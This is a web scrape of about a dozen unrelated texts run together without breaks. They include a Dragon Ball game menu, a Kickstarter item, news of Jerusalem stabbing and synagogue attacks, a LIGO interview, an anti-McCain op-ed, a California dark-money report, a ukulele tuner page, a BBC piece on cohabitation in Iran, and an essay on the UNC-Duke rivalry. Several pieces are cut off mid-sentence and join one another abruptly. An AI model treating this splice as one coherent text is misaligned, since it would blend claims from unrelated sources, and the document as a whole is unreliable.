Go to Aggregation of Everyone's Wishes Goku (GT)
Go to Tyrannical Despot Frieza (Final Form)
Go to Saiyan Outcast Broly
Go to Low-Class Warrior Exiled to Earth Goku
Go to Prince of the Lost Planet Vegeta
Go to The Power of a God Unleashed Super Saiyan God SS Vegeta
Go to The Most Malevolent Ever Golden Frieza
Go to Fury and Battle Instinct Super Saiyan Broly
Go to Becoming a Furious God Super Saiyan God SS Goku
Go to Vengeful Survivor Paragus
Go to Troublesome Father and Son Paragus & Broly
Go to Warrior in Exile Broly
Go to Unusual Evolution Broly (Wrathful)
Go to Rapid Clash Super Saiyan Vegeta
Go to Devastating Fighting Spirit of God Super Saiyan God Vegeta
Go to Intensifying Battle Super Saiyan Goku
Go to God's Effortless Controlling Aura Super Saiyan God Goku
Go to Wrathful Saiyan Super Saiyan Broly
Go to Endless Evolution of the Warrior Race Super Saiyan Broly
Go to Warrior Born from Light Super Saiyan Gogeta
Go to Transcendent Fusion Super Saiyan Gogeta
Go to Gurumes Warrioress Pasta
Go to The Adventure Begins Goku (Youth)
Go to To a World of Excitement Goku (Youth)
Go to Uncontrollable Instinct Buu (Kid)
Go to The Supreme Warrior Super Gogeta
Go to Extreme Z-B |
like having my co-workers having to deal with that."
Pixelmage has launched a Kickstarter campaign to help fund Hero's Song, asking for $800,000 to finish the game. The studio has also raised more than $1 million in private funding and has partners lined up to provide extra money if need be.
At press time, the Hero's Song Kickstarter has raised around $74,000 from more than 1,700 backers. The final game is scheduled to launch for PC in October 2016, though a pre-release beta is planned.“Thou wilt keep them, O Hashem; Thou wilt preserve us from this generation for ever.” Psalms 12:8 (The Israel Bible™)
Two people, including a Border police officer, were lightly wounded in a terror attack in Jerusalem’s Old City on Wednesday afternoon after an assailant attacked them with a screwdriver.
The 21-year-old Palestinian terrorist from Hebron approached a group of police officers standing near the Lions’ Gate entrance to the Old City around one in the afternoon, drew out a screwdriver and began attacking, stabbing one of the security forces in the head.
The other officers quickly responded with gunfire, shooting and killing the terrorist.
A 12-year-old boy with a light head wound also said that the terrorist had attacked him, but reports from the scene are unconfirmed. Both victims were treated at the scene by emergency medical services and then taken to Jerusalem hospitals.
The attack represents the first successful stabbing incident in Jerusalem since September 19, when two police officers were stabbed near Herod’s Gate in the Old City. A number of attempted stabbings have been foiled by security forces since then with no Israeli casualties, though an October shooting attack in Jerusalem left two dead.
A year ago at this time, deadly stabbings were occurring through the country on a daily basis during the height of the terror wave which began in September of 2015. However, the violence has largely quieted in recent months.“Everyone was hugging, and some of my students were in tears”
The recent observation of gravitational waves by LIGO project scientists proves Einstein right 100 years after his theoretical prediction. The breakthrough is at once the culmination of decades of work, and just the beginning of new possibilities in astronomy, cosmology, and fundamental physics. We sat two LIGO researchers—one a veteran, the other just getting started in his career—down for a chat on the field of gravitational wave research and where it’s headed.is a researcher and professor at Cardiff University’s School of Physics and Astronomy. He has been involved in the field of gravitational wave research for 27 years and is a member of the LIGO Governing Council.is a PhD student at the California Institute of Technology’s Division of Physics, Mathematics, and Astronomy and is part of the LIGO Data Analysis Group.My PhD was very theoretical—quite esoteric and not applicable to experimental work. So I was looking for opportunities to work in other fields and became interested in cosmology and gravitational waves. My involvement in gravitational wave research was almost accidental. There was a professor at the institute where I was working in India who came back from sabbatical and asked me, “How would you like to go to Britain and spend three months working on some data analysis?” At that time, I didn’t know anything about programming. I used to be a pencil and paper person. But I took on the challenge, came to Britain, and I started working on the analysis of the first ever coincident data between two interferometer detectors.I think the draw is that the problem is much, much more challenging than anything else you could imagine. It’s multi-dimensional, and it was a field where there were very few people at that time. It was an area where I found a niche. So that’s what kept me going: one could influence the field from the beginning and create a paradigm for the way analysis was being done.Not at all. At that time, the field basically did not exist. Both LIGO and Virgo collaborations were run by just a few labs. There was no broader external participation. It was Barry Barish who brought people together. He understood that LIGO data analysis could not be done by just a few labs. It needed to involve broader collaboration, both for the sake of the experiment itself in terms of research and development going forward, but also to build a community that could deploy the data to advance science. That great vision is what helped us in come together and without it, I can’t imagine that the field would be where it is today.
Isi: It’s interesting that the decision to expand the scale of the effort was a conscious one, that at some point there was a moment where the group decided it needed to organize itself better. After seeing the results of that decision, after watching the field grow from the beginning, what has last September’s discovery meant for you?
“That’s where the holy grail of our field is, which is to observe the very early moments of the big bang. And it could happen in any window.”
“Always take a step back and ask, is it worth doing?”
“Don’t just talk to your supervisor.”
First of all, it has not always been a very smooth ride. There have been lots of difficulties and frustration as well as joy. There were funding setbacks. There were delays. But finally we got Advanced LIGO running, and we made the detection in the very first week. Even now, I don’t think I have realized the full impact of this discovery. When it happened, we were all busy trying to verify. Was it really a detection? Or a malicious injection? Or was it an artifact, or something going on with the detector? We weren’t sure. Even at the press conference it hadn’t really sunk in for me yet—there was too much going on. We held a colloquium at our department the week after the press conference and had a party afterward. Everyone was hugging, and some of my students were in tears. They’ve grown with me. Some of them have become professors in the department, and they were saying what a great achievement, and so on. It’s then that I really realized. That was a moment of joy. This discovery has helped us verify many things that we predicted in the collaboration. It used a method on which I wrote a paper in 1991—24 years ago—so that was fantastic for me personally. But we also made predictions in 1996 about how general relativity could be tested that played out in this observation. Seeing work pay off over such a long period has been immensely satisfying for many people—not just me.The press coverage is actually something that completely baffles me as well. Before the discovery, when I gave talks at astronomical societies, they used to ask, “When are you going to discover something? How are you going to tell us?” I used to say, “Look, when we make a detection, you will know. There’s no way this is not going to be news.” But even I never imagined it would be covered in the way it was. I know people who have said it’s the greatest discovery since Galileo Galilei. This is only the second fundamental wave that we actually have detected in a laboratory. Can you imagine? It’s mind bogglingly fundamental. We have opened up a new window not just for astrophysics—because people would like to say “hey, this is a new observational window for astronomy”—but also for fundamental physics. And cosmology. We have opened up a lab for all three.I think we should think not just in terms of five to ten years, but 20 or 30 years ahead. In the next five years, we will see more and more binary black holes, probably binary neutron stars, and so on. To do more in the area of fundamental physics, we need to make very precise, uncontaminated measurements. And that’s when we can probe very deep into the interiors of neutron stars, or things that happen near black holes.It’s an alternative tool to classical astronomy. Just as telescopes have been continuously improved on over time—the way the receivers work, the way their back-end works—Advanced LIGO and Einstein Telescope will become facilities with increasingly sensitive detectors. That’s the future I imagine for ground-based and underground detectors. Of course, space-based interferometers would be wonderful. And then there’s the Laser Interferometer Space Antenna (LISA) that could observe supermassive black holes. I think it would be fantastic if we start detecting gravitational waves at even lower frequencies with pulsar timing arrays and signature of primordial gravitational waves in the polarization pattern of the cosmic microwave background. That’s where the holy grail of our field is, which is to observe the very early moments of the big bang. And it could happen in any window. It could happen in CMB polarization, pulsar timing array, ground-based detectors, or LISA. That would be the ultimate goal.At the moment, everyone is excited. I don’t know how long that will go on, but at the moment, yes. They are talking about expanding the group and bringing on new people.I have a question for you as a young member of the project. Our collaboration is very big. When we started, everybody got visibility, but how is it now for younger researchers like you? Do you feel that you are getting enough recognition? That you can find a niche and work on problems that are interesting to other people? How do you feel the collaboration is treating its younger colleagues?That’s good to hear! But I think we have to be mindful of the fact that most of the work actually gets done by PhD students and postdocs. We older guys did our work 20-30 years ago. Now we’re just bossing others around! And we have to be mindful of your young colleagues and provide them with opportunities. So, do you feel that you are heard by senior people within the collaboration?Oh, what advice can I give you? You guys know a lot more than I do! Looking back on my own career, I wish I’d more often asked the question: is this problem I’m working on worth investigating? If I do this, will the world be any better? If I don’t, will it be any worse? Not in terms of any direct material benefit, but intellectual benefit. Can I make the world intellectually richer by gaining a better understanding of the universe? It’s always good to take one step back. I’m not talking about the technical problems, but about the actual crux of the research problem. Always take a step back and ask, is it worth doing?Absolutely. If you can’t answer that question yourself, knock on the door of a postdoc next door. Don’t just talk to your supervisor. Because supervisors have ulterior motives; they want to get things done. Talk to your friendly neighbor who has absolutely no interest in your work. They can give you the best advice on whether a problem sounds like a worthy PhD problem, or how they would go about investigating it. I completely agree with you, it’s not easy for a young person to know whether a PhD problem is worthy, so it’s always good to seek outside input.Thank you as well. It’s been my pleasure.Featured image courtesy of LIGO CaltechAs disastrous as Barack Obama’s presidency has generally been, count this conservative as happy John McCain was never elected president. Even amidst an Obamacare meltdown that is only the most prominent example of this administration’s ineptitude, McCain continues to find ways to demonstrate why his fingers must never be near the button.
Surveying the wreckage of the last five years, it would not be difficult to enumerate Obama’s failures. But McCain and his South Carolina sidekick Lindsey Graham wish to pin on the president a failure that is not his alone: the ongoing violence in Iraq, which has culminated in reports that al-Qaeda has taken Fallujah.
“While many Iraqis are responsible for this strategic disaster, the Administration cannot escape its share of the blame,” McCain and Graham thunder in a joint statement. “When President Obama withdrew all U.S. forces from Iraq in 2011, over the objections of our military leaders and commanders on the ground, many of us predicted that the vacuum would be filled by America's enemies and would emerge as a threat to U.S. national security interests.”
McCain and Graham dispute that the Iraqi government decided against concluding a new status of forces agreement that would have kept U.S. troops in Iraq past the deadline originally negotiated by the Bush administration. The senators describe this as “patently false,” claiming to “know firsthand that Iraq's main political blocs were supportive.”
Leaving aside the question of whether they had better sources for this information than Curveball and Ahmed Chalabi, the plain fact was that the American people had no appetite for an indefinite military presence in Iraq. McCain claimed to have gotten a bad rap for his remark that it would be “fine” to stay in Iraq for “maybe 100 years.” But it is clear he did not want the troops to leave for the foreseeable future.
According to that McCain-Graham statement, remaining at war in Iraq would not have sufficed. The United States should be at war in Syria too. “The Administration's failure in Iraq has been compounded by its failed policy in Syria,” said the senators. “It has sat by and refused to take any meaningful action, while the conflict has claimed more than 130,000 lives, driven a quarter of the Syrian population from their homes, fueled the resurgence of Al-Qaeda, and devolved into a regional conflict that now threatens our national security interests and the stability of Syria's neighbors, especially Iraq.”
The Obama administration actually did flirt with “meaningful action” in Syria. But few Americans shared McCain and Graham’s enthusiasm for getting enmeshed in a civil war in which many of the rebel fighters are themselves Islamic extremists. Even the Republican leadership in the Senate opposed the potential Syria war resolution floated by the White House.
McCain doesn’t want to get out of Afghanistan either. “We must apply the painful lessons of Iraq in Afghanistan,” he and Graham said. That means staying past this year, the current timetable for withdrawal from a war that has lasted for over 12 years.
And of course McCain is one of the Senate’s leading hawks on Iran. He favors the sanctions legislation that many experts fear will undermine negotiations over the Iranian nuclear program. That diplomacy may be the last chance to avoid yet another military intervention. McCain’s friend Graham is already championing an authorization of force resolution. McCain is on board.
McCain did at least want to avoid “boots on the ground” in Libya, another recent intervention he supported. But the senator chastised Obama for not committing to regime change quickly enough.
To McCain, “the painful lessons of Iraq” do not include the fact that Islamic militants within the country are stronger and Iran more powerful than before the United States invaded in the first place. The failed 2008 presidential candidate believes that if a nation-building experiment doesn’t work, the solution is to double down and try harder.
Most conservatives would reject this logic when it comes to the war on poverty. So would most libertarians concerning the war on drugs. But McCain is “fine” with the United States fighting at least three wars simultaneously and indefinitely.
“Today, too many ideologues call for U.S. force as the first option rather than a last resort,” writes former Defense Secretary Robert Gates in his eye-opening new book. “On the left, we hear about the ‘responsibility to protect’ civilians to justify military intervention in Libya, Syria, Sudan and elsewhere. On the right, the failure to strike Syria or Iran is deemed an abdication of U.S. leadership.”
From McCain, we hear about both of those things. As Gates goes on to observe “not every outrage, act of aggression, oppression or crisis should elicit a U.S. military response.” This kind of thinking is anathema to the Theodore Roosevelt impersonator from Arizona. The fact that we avoided such a trigger-happy commander-in-chief is the one silver lining behind the 2008 presidential election. At least Obamacare can theoretically be repealed. (It can also apparently be waived or changed, subject to presidential whim.) The consequences of wars of choice are everlasting.
Image:Flickr/Gage Skidmore.SACRAMENTO — Ending some but not all of the mystery behind an anonymous $11 million donation, an Arizona group revealed under court order Monday that the money it pumped into California’s ballot wars was funneled through two groups — one tied to David and Charles Koch, the billionaire brothers who have played a huge role in spreading anonymous political cash around the country.
The two conservative groups, Americans for Job Security and the Center to Protect Patient Rights, are part of a tangled web of so-called dark donors who operate largely out of public view, shielded by their status as nonprofit advocacy groups that are supposedly not involved primarily in politics.
While the groups have been identified, however, individual donors who have bankrolled them remain a mystery.
But “this isn’t going to stop here,” said Ann Ravel, chairwoman of the Fair Political Practices Commission, the state’s political watchdog. “They admitted to money laundering. We agreed to do this without an audit because we wanted to get information to the public before the election. But we in no way agreed this would preclude further action.”
The FPPC determined that the Arizona group, Americans for Responsible Leadership, had violated California campaign law.
Money laundering — sending money through multiple sources to conceal the original donor — is a misdemeanor. But a conspiracy to commit money laundering is a felony. It was not clear Monday whether the FPPC or the state Attorney General’s Office will pursue criminal charges.
The donation, the largest anonymous contribution to a ballot measure campaign in California history, was made to the Small Business Action Committee, a conservative PAC running a campaign for Proposition 32, the measure that would curb labor’s ability to collect political cash, and against Proposition 30, Gov. Jerry Brown’s tax-hike initiative.
“This money is so dirty it had to be laundered five times — and it still stinks,” said Brown, who had made it a rallying cry in his campaign to “unmask” the donors.
Election financing experts said if the groups had gotten away without disclosure, it would have set back the national movement for effective disclosure.
“Now California can be seen as a model that others use to fix their own systems,” said Rick Hasen, an election law professor at UC Irvine. “This was a test case for (big donors) to see what they could get away with. And it was a successful defensive action against the flow of dark money.”
Ravel said Phoenix-based Americans for Responsible Leadership conceded it was the intermediary and not the true source of the contribution. The source was actually Americans for Job Security, which then passed the money through a second intermediary, the Center to Protect Patient Rights, she said.
In its settlement letter, an attorney for the Arizona group said neither it nor the Center to Protect Patient Rights “admit any wrongdoing” and they reserve the right to contest any further action.
Americans for Job Security has been described by the nonpartisan Center for Responsive Politics as “pro-Republican,” “pro-business” and “established to directly counter labor’s influence.” It was founded in 1997 by Michael Dubke and David Carney, the same two GOP strategists who formed Crossroads Media, which runs advertising for American Crossroads, GOP uber-strategist Karl Rove’s Super PAC.
In September, Americans for Job Security spent $8 million in ads in the swing states of Florida, Iowa, North Carolina, Ohio, Virginia and Colorado blasting President Barack Obama for what it said was his failure to turn the economy around.
The Center to Protect Patient Rights, also based in Arizona, is run by Sean Noble, an operative of the Koch brothers, who are worth a combined $50 billion, according to Forbes. Noble, a GOP strategist, was hired in 2010 to coordinate the Koch brothers’ distribution of millions of dollars to dozens of entities. He has been a member of a group, called the Weaver Terrace Group — dubbed Rove’s “Fight Club” — that meets regularly to plot campaign financing strategies, said Viveca Nova, a spokeswoman for the Center for Responsive Politics.
Noble admitted in a letter to the FPPC that the Center to Protect Patient Rights received $11 million from Americans for Job Security.
This wasn’t a new arena for the Center to Protect Patient Rights. It acted as a pass-through to distribute $44.6 million to other nonprofit groups in 2010, and $10.8 million the year before, according to the Center for Responsive Politics.
“What you get are layers upon layers of groups that don’t have to disclose their donors,” Nova said. “What California did to reveal these ties is unusual, though it only tells you so much. But it does give more illustration about how the money is being passed around.”
California Attorney General Kamala Harris said: “One thing is clear — further investigation is necessary to determine whether there have been any violations of state law, be they civil or criminal. This thing ain’t over. It’s not over on Election Day. We are committed to going forward and figuring out what happened.”
The revelation came after a 7-0 decision by the state Supreme Court on Sunday ordering attorneys for Americans for Responsible Leadership to immediately hand over documents related to the $11 million donation to the California business PAC.
After turning to the U.S. Supreme Court seeking another delay, attorneys backed down. Rather than hand over all emails and communications between the Arizona group and the California PAC, however, they settled on providing the name of the group that provided the money.
The Arizona group is a 501(c)4 nonprofit advocacy organization, which under IRS rules does not have to reveal donors’ names. These groups have become prominent in this election cycle as hundreds of millions of dollars in political cash was unleashed by the U.S. Supreme Court’s 2010 Citizens United decision to allow unlimited corporate spending in campaigns.
As corporations and wealthy individuals became more involved, they have sought to keep their names concealed and have found the nonprofit groups an effective conduit to wielding influence without the potential backlash from consumers. They have spent one-fourth of all campaign cash this year, according to ProPublica, an independent investigative group.
Contact Steven Harmon at 916-441-2101. Follow him at Twitter.com/ssharmon. Read the Political Blotter at IBAbuzz.com/politics.Online Ukulele Tuner
Use this free online ukulele tuner to tune your ukulele. This online tuner is special because you are able to change the notes to what you want, this is especially useful if you are using Alternate Ukulele Tunings. The default tuning is the standard GCEA ukulele tuning. If you have a Banjo Ukulele, then the tunings are still the same, so this will work. You will find presets for alternate tunings on the right side. For other methods on how to tune your ukulele go to our How to Tune the Ukulele page. Below the tuner there are instructions on how to use it.
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The Hal Leonard Ukulele Method is a great resource for those who are beginning ukulele or experienced players who want to hone their skills. It includes a CD that contains 46 tracks of songs for demonstration and play along.Image copyright Reuters
Despite Iran's strict Islamic laws, increasing numbers of young couples are choosing to live together before marriage. It has become so prevalent that the office of the Supreme Leader has issued a statement expressing deep disapproval, as BBC Persian's Rana Rahimpour reports.
"I decided to live with my boyfriend, because I wanted to get to know him better," says Sarah from Tehran.
"It's hard to get to know someone just by going to restaurants and cafes together."
Sarah's decision to enter into what is known in Iran as "white marriage" would have been unthinkable just a few years ago.
In a country where strict Islamic laws mean shaking hands with the opposite sex is illegal, cohabitation is a crime that risks severe punishment.
Just like in the rest of the world, the middle class in Iran is starting to prefer this type of life to traditional marriage Mehrdad Darvishpour, Sociologist
Nevertheless, increasing numbers of unmarried couples are now choosing to live together.
There are no official statistics, but it has become common enough for a popular women's magazine, Zanan, to devote a special issue to the subject recently.
And now even Iran's Supreme Leader, Ayatollah Khamenei has joined the debate.
At the end of November the head of his office, Mohammad Mohammadi Golpayegani, issued a strongly worded statement calling on officials to "show no mercy" in clamping down on cohabitation.
"It's shameful for a man and a woman to live together without being married," the statement said. "It won't take long for people who've chosen this lifestyle to have wiped out a legitimate generation with an illegitimate one."
Divorce rates
But young Iranians do not seem to be listening.
"It's too expensive to get married and even more expensive to get a divorce," says Ali from Tehran, who has been living with his girlfriend for two years.
Image copyright other Image caption Zanan magazine devoted a recent issue to the subject of cohabitation
"Why commit myself to something I'm not sure about?"
It is attitudes like this that show just how far some young urban Iranians have moved away from the Islamic values of their parents' generation.
"Of course cohabitation is not accepted by the more religious parts of society," says sociologist Mehrdad Darvishpour, who is now based in Sweden.
"But just like in the rest of the world, the middle class in Iran is starting to prefer this type of life to traditional marriage. Sex before marriage isn't taboo anymore."
Many observers point to Iran's soaring divorce rates as a key reason why some couples do not want to rush into marriage - and why their families often agree with them.
One in five marriages in Iran ends in divorce, says Farhad Aghtar, Director General of the Office of Drug Abuse Prevention and Treatment, which is part of Iran's State Welfare Organisation. Tehran, the capital, has the highest rate in the whole country.
Social stigma
In Iran it is the groom's family who pay for the wedding, which is often a lavish and costly affair.
The groom also has to put up the money for a dowry or "mahrieh" - a payment to be made to the bride if the marriage breaks down.
Large sums of money are often involved here, too, and men can end up in debt for years after a divorce. Failure to pay can result in imprisonment.
For Iranian women, the prospect of marriage breakdown is also bleak.
Islamic law means it is difficult for women to initiate divorce in the first place. Custody laws automatically favour the father and social stigmas mean life for divorced women is not easy.
Sarah says one reason she decided to live with her current boyfriend was precisely because a previous relationship had broken down when the man's family made it clear they did not think a marriage between the two would last.
"His parents and siblings interfered a lot," she said. "They said I was a loose woman. They put so much pressure on him that in the end he broke up with me."
No support
But choosing to live together is not always an easy option.
Although some urban parents are willing to accept their children's decisions, cohabitation is still considered a step too far by many in what remains a deeply traditional society.
Image copyright AP Image caption The office of Iran's Supreme Leader branded cohabitation "shameful"
Marjan, who lived with her boyfriend in the city of Arak, says she had to move house four times after landlords found out she and her boyfriend were not married.
"Every day they would ask, 'When are you going to get married? When are you going to buy a ring?'" she said. "I'd think - they're watching me, so I'd try to find another place."
Another problem, according to lawyer and women's rights activist Mehrangiz Kaar, is that because cohabitation is illegal, there is no legal support for couples if things go wrong.
If a woman is abused in a "white marriage", she cannot go to the police, because she and her partner would be arrested for committing adultery, Mrs Kaar said.
This summer, the head of social and cultural affairs at the office of the governor of Tehran, Siavash Shahriar, announced that a plan had been finalised to tackle "white marriage" and, in his words, "to promote family stability". But to date no specific plans have been made public.
Sociologist Mehrdad Darvishpour is sceptical about attempts to use the law to deal with issues affecting people's personal lives.
"What happens under the skin of a society cannot be controlled," he said.
"The government might try to use force to stop this, just as they tried to impose stricter adherence to the rules on wearing a hijab [headscarf] on young women, but young people will continue to move forward. Modernity can't be stopped."Via Satyah Khanna at Think Progress:
Yesterday, Murray Waas revealed that the head of Sen. John McCain’s transition team, power lobbyist William Timmons, was involved in a lobbying effort on behalf of Saddam Hussein in the early 1990s “to ease international sanctions against his regime.”
Today, MSNBC’s David Schuster asked McCain spokesperson Ben Porritt about the revelations. Porrit claimed that the campaign has had no associations with lobbyists, quickly changing the subject to Bill Ayers:
I’m actually not too familiar with his history, but what I do know is that throughout our campaign, we’ve talked about this a lot, we’ve had no associations with any lobbyists on our campaign, and I think there’s questionable associations with Barack Obama that needs to be addressed before we even get into talking about the transition:
“You have no associations with Charlie Black?” asked Schuster incredulously. “I mean, he’s a lobbyist.” Watch it:
Timmons is the chairman emeritus of Timmons and Company, an influential lobbying firm in Washington. In addition to helping Saddam avoid sanctions and trying to profit off Iraqi oil, Timmons has also lobbied for Fannie Mae, Freddie Mac, and the American Petroleum Institute. Time Magazine called Timmons “a Washington institution.”
It is absurd to claim McCain has “had no associations with any lobbyists.” He has at least 164 former lobbyists running his campaign, fundraising, and setting his policy agenda — including Charlie Black, Rick Davis, and Randy Scheunemann.It’s March. The time of year when all of a sudden many of the Carolina fans in my Facebook feed start behaving like Donald Trump supporters, high on xenophobic mob juice. The time of year when people who know me from UNC (I’ve been an undergrad, a graduate student, and an employee there) think they can assume I’m a Tarheel. This, in turn, makes it okay to say things about Duke, its players and people, that they’d never want their mothers to hear. The time of year when it only takes a day or two of first round games for me to get tired of defending my family and our nuanced take on college sports allegiances.
Because I am not a Carolina fan, despite the place being full of wonderful people I know well and love, including some of the best professors and best students I’ve ever had. Despite growing up in Chapel Hill. But that’s not what get’s people worked up. It’s that I won’t let them say nasty things about Duke, which is basically heresy.
On principle, I refuse to hate Duke because the language of hate creates a behavioral permissiveness that leads to horrific outcomes. If you are complaining about what Donald Trump’s hate speech does to stadiums full of angry white people, then take a minute to recall the kinds of behavior that result from inciting hatred in the same atmosphere over a ball game. That bad behavior–when you throw glass bottles at Duke players as they leave the court, yell threatening things at the players about their sisters and mothers, use homophobic and violent language to put down their players–is what we are teaching a generation of young people to both take and give. A good rivalry should be something different.
But more to the point, I can’t hate Duke because there’s nothing nasty about Duke that, at its core, isn’t true about Carolina. I can just see y’all’s eyebrows climbing and the retorts spilling forth. But the elitism! The whiteness! The snobbery! Did we mention the elitism? And the whiteness!!!?? We let ourselves go with self-righteous fury toward the evil empire of privilege that is Dook…which is a big lie and arguably has been for a long time. Especially coming from Carolina. And my most progressive friends are the worst behaved. Like their public university street cred sanctifies their rudeness. But it doesn’t.
My parents worked with Dean Smith and his wife on equal rights efforts in the community when I was a baby. My sister and I went to high school with their kids, who are amazing women. My mom and dad both went to graduate school at UNC (though if your dissertation is on the history of white supremacy at Carolina and documents the foul people they name their buildings for and how they used slavery to build the entire institution, maybe you get negative legacy points?). I loved Carolina basketball as a child, and I loved Dean.
But I wasn’t fond of Carolina students, as a group. Those were the people who destroyed my town every time they won a game against Duke. I snuck out to watch the 1991 Duke NCAA victory bonfire with a friend and was so impressed that they were contained on campus and only immolated themselves and destroyed their own furniture! Those Carolina frat boys were the beloved sons who could do no wrong, yet harassed me nonstop beginning at age 10 anytime I was on Franklin street after dark. Don’t get me wrong, frats are frats. But at Duke, when the pressure of reprehensible greek behavior became too intense, the frats were kicked off campus. At UNC they still reign supreme.
I was a student organizer in high school and was involved in both the Duke and UNC anti-sweatshop sit-ins that constituted part of a nationwide movement to bring accountability to the licensed apparel industry. The sit-in at Duke was the first and inspired a wave of protests at universities across the nation. It was fascinating to watch how Duke’s more agile bureaucracy interacted in a far more substantive way with its student activists. At UNC student organizers were treated like outside agitators and the administrators in South building gave us the perennial runaround, politely inviting us to lots of committee meetings and then pushing through their own agenda during the summer.
I watched this happen to student movements at UNC time and again–first as an active young community member, later as a leader in Student Congress–whether it was support for the housekeepers (who in 1997 forced the University to settle a lawsuit on violating the 13th and 14th amendments to the US Constitution), pushing back against steep tuition increases, or renaming campus buildings for non-KKK Grand Dragons. Much of UNC’s administration was an old boys’ club of the worst southern kind–the kind that thinks it’s not and earnestly sells itself as the “light on the hill.” And that was long before the recent, um, changes. As an undergrad, I remember being told “if you hate Carolina so much, maybe you belong at Duke.” I thought, if you really love something you ought to want to make it better. But no, disloyalty to the Tarheel brand would not be tolerated. Nothing could have turned me off faster than a consistent refusal to be self critical.
But I was still a Carolina basketball fan. I liked watching the games and felt my public school pride. And then I met my husband, who’d gone to Duke, and we had babies and watching basketball fell to the bottom of my priority list. He grew up in a trailer in the woods, just like me, but he’d gone to that other school down the road. My spouse doesn’t care what team I like. He’d rather I liked Carolina more because then maybe I’d make time to watch the games. He’s a committed Duke fan, but he always pulls for the ACC.
What our marriage changed was something different. We bought a home together in Durham, a city that was progressive, exciting, integrated, and affordable. For years I took the Duke campus shuttle to the Robertson Scholars Bus, which ferried anyone who wanted to travel between Duke and UNC for free. I used the bus to get to my graduate classes and teach at Carolina.
I learned a lot in the 7 years that we lived in central Durham–the first 7 years of my life in a “house divided.” I got a look at Duke from the inside. The students on the bus with me. The workers. The many many UNC employees that commuted by bus from their homes in Durham because they couldn’t afford to live in Chapel Hill. I watched the Duke lacrosse scandal unfold from the inside, relatively speaking (the house was a short walk from ours). I noticed that racism and elitism at Duke operated in a different institutional context–a less comfortable one for the status quo of privilege–because of Durham, a strong community that spoke up for social justice and aimed to hold its institutions accountable.
I am embarrassed to say I was shocked at how diverse the students were. There were actually American people of color (please cringe now), not the ridiculous image I had in my head of token international students who were just as rich as the certainly overwhelming majority rich white people that were Duke’s essence. And they were WAY more present on campus than what I’d experienced at UNC, where I’d felt like the public spaces were dominated by white frat culture, with wee pockets that black students staked out for themselves in front of the cafeteria or the undergrad library, with everyone else seemingly invisible. Invisible like the teeny little Unsung Founders Memorial where you can literally sit your ass down, put your feet up, and eat your lunch on the backs of slaves, all in the shadow of Silent Sam.
After a few months of riding |
the wake of the attack. He added: 'In the coming hours, I will ease restrictions on carrying weapons,' indicating it would apply to anyone with a licence to carry a gun, such as private security guards and off-duty army officers.
Israeli Zaka emergency services volunteers carry the body of a Palestinian assailant who was shot dead while attacking the synagogue
The scene outside the synagogue following the attack, with police and paramedics in attendance
A wounded Israeli man is taken to an ambulance after his leg was bandaged at the scene of the attack
In a statement, Hamas praised the synagogue attack as a 'heroic act', saying it was a'response to continued Israeli crimes, the killing, desecrating al-Aqsa (mosque),' a reference to a recent incident at the holy site. It also called for a continuation of'vendettas'.
Hamas leader Mushir al-Masri said that the slaughter of the worshippers was a 'natural reaction' to the death of 32-year-old Palestinian bus driver Yusuf Hasan al-Ramuni, who was found hanged in his vehicle on Sunday.
Police said there was no evidence of foul play, blaming his death on suicide, with their findings backed up by a post-mortem.
Both the Israeli and Palestinian pathologists who performed an autopsy at the Abu Kabir Forensic Institute, agreed that it was a suicide.
But colleagues and family said there were signs of violence on his body, claiming he was murdered.
THIS DEADLY ATTACK IS PART OF A SINISTER HAMAS PLAN TO TRIGGER A THIRD MAJOR UPRISING, WRITES MICHAEL BURLEIGH The catalyst for the seemingly random and senseless attacks that have happened in Jerusalem and Tel Aviv was the burning alive of a 16 year old Arab boy by Jews in July, in retaliation for the abduction and murder of three Jewish schoolboys. The latest escalation is the axe, knife and gun attack that left four Jewish worshippers dead inside a West Jerusalem synagogue yesterday. This is against a backdrop of daily confrontations between Israeli police and rock throwing Palestinian youths. Why is this happening? Jerusalem's Old City hosts sites that are sacred to both Muslims and Jews. The al-Aqsa mosque is the third most sacred place in Islam, but the wider compound on which it stands also overlays the ruins of two Jewish temples from biblical times which very religious Jews want to rebuild. The site is so sensitive to both faiths that a subtle deal was arranged, under which Jews can visit, but not pray within the compound, while Muslims can. Fervent religious Jews have being trying to overturn these arrangements, with the passive connivance of members of right-wing religious parties in the Israeli coalition government. The PM Netanyahu has condemned their actions, which have also led Jordan, which oversees the entire site, to withdraw its ambassador, while at the same time doing little to stop Jews from aggressively purchasing property in Arab areas of the city. But there are other more sinister agendas at work. The militant organization Hamas suffered a severe setback in Gaza because of Israel's operation Protective Edge. It has also failed to expand its influence at the expense of the rival Palestinian Authority which governs the occupied West Bank. As far as anyone knows the recent spate of violent attacks have been random and self-generated. Enraged individuals have just decided to attack Jews, although the latest incident seems more organised. But Hamas is trying to incite a third intifada, or mass uprising, in which as in 1987-93 and 2000-05, Palestinian youths will hurl stones at heavily armed Israeli police and troops. There will inevitably be casualties as both sides settle into a mood of fear and hatred. Hamas knows that international media coverage will depict this in David and Goliath terms, as it did twice before, at a time when various European states (and the EU) are discussing recognition of a Palestinian state, and there are movements to boycott, disinvest and sanction Israel. Since the majority of Palestinians have no appetite for years of strife, the Israeli government should rein in its own extremists and so more to improve the security, living conditions and welfare of Palestinians in Jerusalem before it is too late. Otherwise they might find themselves facing Hamas rather than the relatively benign Palestinian Authority. Michael Burleigh is a historian and specialist on international affairs
And the Palestinian pathologist who attended the post-mortem also ruled out suicide, suggesting he may have been drugged then strangled, the family's lawyer said.
Thousands attended his funeral late on Monday, some of them calling for revenge.
Much of the recent violence stems from tensions surrounding the Jerusalem holy site referred to by Jews as the Temple Mount because of the Jewish temples that stood there in biblical times. It is the most sacred place in Judaism.
Muslims refer to it as the Noble Sanctuary, and it is their third holiest site, after Mecca and Medina in Saudi Arabia.
The site is so holy that Jews have traditionally refrained from going there, instead praying at the adjacent Western Wall. Israel's chief rabbis have urged people not to ascend to the area, but in recent years, a small but growing number of Jews, including ultranationalist lawmakers, have begun regularly visiting the site, a move seen as a provocation.
Today's attack is bound to ratchet up fears of sustained violence in the city, already on edge amid soaring tensions over a contested holy site.
Israeli TV footage showed the synagogue, in Jerusalem's ultra-Orthodox Har Nof neighborhood, surrounded by police and rescue workers following the attack.
Dr Joyce Morel, 56, a physician who lives nearby got an emergency call to run to the scene.
He said: 'I arrived a few minutes after it all started. there was an man sitting outside the synagogue - he was severely injured. He told me he'd been shot and stabbed. We opened up his shirts and he had a huge gash in his back where he was stabbed with an axe which went all the way through his ribs.
I saw a man stagger out of the synagogue with two bullets wounds in his back
